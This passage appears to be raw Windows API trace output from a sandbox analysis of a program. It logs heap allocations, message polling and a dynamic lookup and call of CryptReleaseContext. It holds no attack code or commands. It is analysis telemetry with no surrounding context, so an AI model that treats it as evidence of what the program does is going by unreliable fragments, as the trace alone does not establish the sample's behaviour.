hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0133.352] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.352] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0133.352] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0133.352] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0133.352] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.352] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f00 [0133.353] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.353] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f00 | out: hHeap=0xe80000) returned 1 [0133.353] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.353] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.353] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e90 [0133.353] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0133.353] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.353] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.353] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fb8 [0133.353] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dc0 [0133.353] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.353] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e90 | out: hHeap=0xe80000) returned 1 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dc0 | out: hHeap=0xe80000) returned 1 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fb8 | out: hHeap=0xe80000) returned 1 [0133.354] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.354] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.354] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.354] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.354] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.354] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0133.354] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.355] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0133.355] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.355] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.355] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.355] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0133.355] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0133.355] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.355] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.355] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0133.355] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.355] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0133.355] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0133.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0133.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.356] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.356] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0133.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0133.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.357] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.357] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0133.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0133.357] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0133.358] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.358] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.359] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0133.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0133.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.359] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.359] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.360] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e18 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dc0 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077030 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e80 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0133.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fb8 [0133.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077048 [0133.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0133.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0133.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076df0 [0133.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e08 [0133.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f58 [0133.361] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0133.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e50 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b20 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0133.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf298 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0133.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2e8 [0133.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fd0 [0133.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fd0 | out: hHeap=0xe80000) returned 1 [0133.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0133.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0133.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0133.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x10556d0 [0133.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x10556d0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0133.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9af8 [0133.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.363] GetProcAddress (hModule=0x75a50000, lpProcName="CryptReleaseContext") returned 0x75a70650 [0133.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9af8 | out: hHeap=0xe80000) returned 1 [0133.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c38 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0133.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c38 | out: hHeap=0xe80000) returned 1 [0133.366] CryptReleaseContext (hProv=0x1048538, dwFlags=0x0) returned 1 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xefc650 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076e38 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e50 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f10 [0133.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f10 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f10 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fe8 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fe8 | out: hHeap=0xe80000) returned 1 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f28 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f70 [0133.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f70 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f58 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dc0 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e80 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fb8 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076df0 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e08 | out: hHeap=0xe80000) returned 